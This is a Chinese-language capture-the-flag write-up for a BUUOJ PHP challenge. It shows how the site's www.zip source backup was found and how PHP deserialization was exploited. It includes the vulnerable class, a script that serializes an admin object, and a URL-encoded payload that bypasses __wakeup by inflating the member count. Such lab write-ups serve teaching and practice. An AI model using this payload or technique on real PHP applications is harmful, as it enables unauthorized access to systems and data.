题目链接地址:
https://buuoj.cn/challenges#[极客大挑战%202019]PHP
信息收集
根据题目的提示,那么可以考虑是否存在源码备份的压缩包
我尝试一下在网站末尾加上/www.zip,没想到成功的下载到了这个网站的备份源码
源码分析
解压zip后,查看一下主页文件index.php,在这段代码可以看见index.php文件包含class.php文件,并且接收传参的值为select,unserialize函数为反序列化,说明了这一题需要用到反序列化的知识点。
我们跑去class.php文件看看
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
我们分析以下代码,当password为100,且username为admin才能输出flag值。
解题
那么我们为了反序列化就必须先序列化刚刚相对应的Name对象和它的成员值的信息,最后将序列化的结果放入主页的select传参值进行反序列化然后才能获得flag值
<?php
class Name {
private $username = '';
private $password = '';
public function __construct($username,$password){
$this ->username = $username;
$this ->password = $password;
}
}
$a = new Name('admin','100');
echo serialize($a)."<br>";
echo urlencode(serialize($a));
通过以上代码的编写,运行至本地php服务或者php在线运行。至于url编码反序列化值是由于在php中 private 为(私有成员):成员变量名字前需要加%00类名%00导致在正常显示中字符是看不见的,所以要使用url编码,才能序列化结果的完整性
__wakeup绕过
当执行反序列化时将会调用此 __wakeup( )魔术方法,导致了username的值变为guest
在php版本5.6.25之前, php7.0.10之前,如果在反序列化时,如果表示对象的成员数目的值大于原来的的数目就会跳过__wakeup( )的执行。按F12键看见PHP版本有__wakeup的绕过条件刚好可以利用,尝试构建payload
所以我们只需要提交payload的时候把成员数目值的2改为3就能轻松的绕过了__wakeup()魔术方法的调用
payload=
?select=O%3A4%3A"Name"%3A3%3A%7Bs%3A14%3A"%00Name%00username"%3Bs%3A5%3A"admin"%3Bs%3A14%3A"%00Name%00password"%3Bs%3A3%3A"100"%3B%7D
提交payload,成功回显flag值